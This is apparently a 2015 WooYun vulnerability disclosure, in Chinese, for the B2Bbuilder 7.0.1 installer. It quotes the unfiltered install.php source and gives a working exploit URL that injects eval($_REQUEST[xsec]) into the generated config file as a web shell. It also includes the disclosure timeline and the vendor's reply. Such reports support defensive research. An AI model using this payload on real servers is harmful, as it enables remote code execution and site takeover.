当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108452

漏洞标题:::B2Bbuilder::前台无限制Getshell

相关厂商:shop-builder.cn

漏洞作者: 浅蓝

提交时间:2015-04-23 18:02

修复时间:2015-07-27 09:04

公开时间:2015-07-27 09:04

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-23: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经确认,细节仅向厂商公开
2015-05-01: 细节向第三方安全合作伙伴开放
2015-06-22: 细节向核心白帽子及相关领域专家公开
2015-07-02: 细节向普通白帽子公开
2015-07-12: 细节向实习白帽子公开
2015-07-27: 细节向公众公开

简要描述:

下载地址 http://down.chinaz.com/soft/24224.htm

详细说明:

http://down.chinaz.com/soft/24224.htm
7.0.1版本的。
和MallBuilder是同一个地方的
/install/install.php
看看代码吧

if($action == "setup")
{
//检查参数是否完整
$dbhost = $_GET['dbhost'];
$port = $_GET['port'];
$dbname = $_GET['dbname'];
$dbuser = $_GET['dbuser'];
$dbpassword = $_GET['dbpassword'];
$tableprefix = $_GET['tableprefix'];
$guid = $_GET['guid'];
if(!$port)
$port = 3306;
if ($dbhost && $port && $dbname && $dbuser && $dbpassword && $tableprefix && $guid)
{
file_put_contents("db.txt", $dbhost.'|'.$port .'|'.$dbname .'|'.$dbuser .'|'.$dbpassword .'|'.$tableprefix.'|'.$guid);
$link = mysql_connect($dbhost . ":" . $port, $dbuser, $dbpassword);
if($link)
{
mysql_query("CREATE DATABASE IF NOT EXISTS `".$dbname."`;", $link);
mysql_query("SET NAMES 'utf8',character_set_client=binary,sql_mode='';",$link);
$link2 = mysql_select_db($dbname, $link);
if($link2)
{
//==========================================================更新进度
file_put_contents('progress.txt', 10);
//安装步骤1. 创建数据库结构
$sqlfile = 'B2Bbuilder.sql';
$query = '';
$fp = fopen(dirname(__FILE__).'/' . $sqlfile,'r');
while($mysql=GetNextSQL())
{
mysql_query($mysql);
}
fclose($fp);
//---------------------------------
$rurl=$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$aurl = explode("/", $rurl);
$realurl='';
for($i=0;$i<count($aurl)-2;$i++)
$realurl=$realurl.$aurl[$i]."/";
$realurl="http://".$realurl;
$realurl=substr($realurl,0,-1);


$burl=explode(".",$realurl);
$pb=array_shift($burl);
$baseurl=str_replace($pb.'.','',$_POST["weburl"]);
$baseurl=str_replace('http://','',$_POST["weburl"]);
$baseurl=explode('/',$baseurl);
$baseurl=$baseurl[0];
if(substr($baseurl,0,3)=='loc'||substr($baseurl,0,3)=='127')
mysql_query("update ".$tableprefix."web_config set `value`='' where `index`='baseurl'");
else
mysql_query("update ".$tableprefix."web_config set `value`='".$baseurl."' where `index`='baseurl'");
mysql_query("update ".$tableprefix."web_config set `value`='$realurl' where `index`='weburl'");
//写系统配置文件
$rsid=mysql_query("select * from ".$tableprefix."web_config");
$arr=array(); $configs=array();
while($row=mysql_fetch_array($rsid))
{
$arr[] = $row;
}
foreach($arr as $v)
{
$index=$v['index'];
$value=$v['value'];
$configs[$index]=$value;
}
$write_config_con_array=$configs;
$write_config_con_str=serialize($write_config_con_array);//将数组序列化后生成字符串
$write_config_con_str='<?php $config = array_merge($config, unserialize(\''.$write_config_con_str.'\'));?>';//生成要写的内容
$cfp=fopen(dirname(__FILE__).'/../config/web_config.php','w');
fwrite($cfp,$write_config_con_str,strlen($write_config_con_str));//将内容写入文件.
fclose($cfp);
//======================================================更新进度
file_put_contents('progress.txt', 30);

/*
//安装步骤2. 导入测试数据
$sqlfile = 'data.txt';
$query = '';
$fp = fopen(dirname(__FILE__).'/' . $sqlfile,'r');
while(!feof($fp))
{
$line = rtrim(fgets($fp, 1024));
if(preg_match("#;$#", $line))
{
$query .= $line;
$query = str_replace('{tableprefix}',$tableprefix,$query);
$rs = mysql_query($query,$link);
$query='';
} else if(!preg_match("#^(\/\/|--)#", $line))
{
$query .= $line;
}
}
fclose($fp);
*/
//更新进度
file_put_contents('progress.txt', 70);
//=======================================================安装步骤3. 配置文件修改
$contents='<?php
$config[\'dbhost\'] = \''.$dbhost.'\'; //数据库所在IP地址
$config[\'dbuser\'] = \''.$dbuser.'\'; //数据库用户
$config[\'dbpass\'] = \''.$dbpassword.'\'; //数据库密码
$config[\'dbname\'] = \''.$dbname.'\'; //数据库名
$config[\'port\'] = \''.$port.'\'; //端口
$config[\'table_pre\']=\''.$tableprefix.'\'; //数据库表前缀
$config[\'authkey\']=\''.md5(time().rand(0,100000)).'\'; //数据库表前缀
?>';
$filename = dirname(__FILE__)."/../config/config.inc.php";
$cfp = fopen($filename,'w');
fwrite($cfp,$contents);
fclose($cfp);
//更新进度
file_put_contents('progress.txt', 100);
outputXml('200');


他首先把 数据库配置信息写在了同目录的db.txt中 然后连接.
判断是否连接成功 连接成功则执行 那些任务 否则出错
在if($link)的判断中

$contents='<?php
$config[\\'dbhost\\'] = \\''.$dbhost.'\\'; //数据库所在IP地址
$config[\\'dbuser\\'] = \\''.$dbuser.'\\'; //数据库用户
$config[\\'dbpass\\'] = \\''.$dbpassword.'\\'; //数据库密码
$config[\\'dbname\\'] = \\''.$dbname.'\\'; //数据库名
$config[\\'port\\'] = \\''.$port.'\\'; //端口
$config[\\'table_pre\\']=\\''.$tableprefix.'\\'; //数据库表前缀
$config[\\'authkey\\']=\\''.md5(time().rand(0,100000)).'\\'; //数据库表前缀
?>';
$filename = dirname(__FILE__)."/../config/config.inc.php";
$cfp = fopen($filename,'w');
fwrite($cfp,$contents);
fclose($cfp);


意思是将数据库配置信息写在config/config.inc.php
由于参数都没有进行过滤 导致 可以闭合界定符并注释掉后面的内容
构造URL

http://localhost/B2Bbuilder/install/install.php?action=setup&dbhost=localhost&port=3306&dbname=xxsb&dbuser=root&dbpassword=root&tableprefix=xxxx';eval($_REQUEST[xsec]);//&guid=xxxx


只需要自己准备一个数据库并填入相对应的地方 提交即可getshell

K{J057~9SJ)@{UICM5X8S)F.png

不用去理会xml报错。

漏洞证明:

http://localhost/B2Bbuilder/install/install.php?action=setup&dbhost=localhost&port=3306&dbname=xxsb&dbuser=root&dbpassword=root&tableprefix=xxxx';eval($_REQUEST[xsec]);//&guid=xxxx


K{J057~9SJ)@{UICM5X8S)F.png

修复方案:

版权声明:转载请注明来源 浅蓝@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-04-28 09:02

厂商回复:

处理中,谢谢!

最新状态:

暂无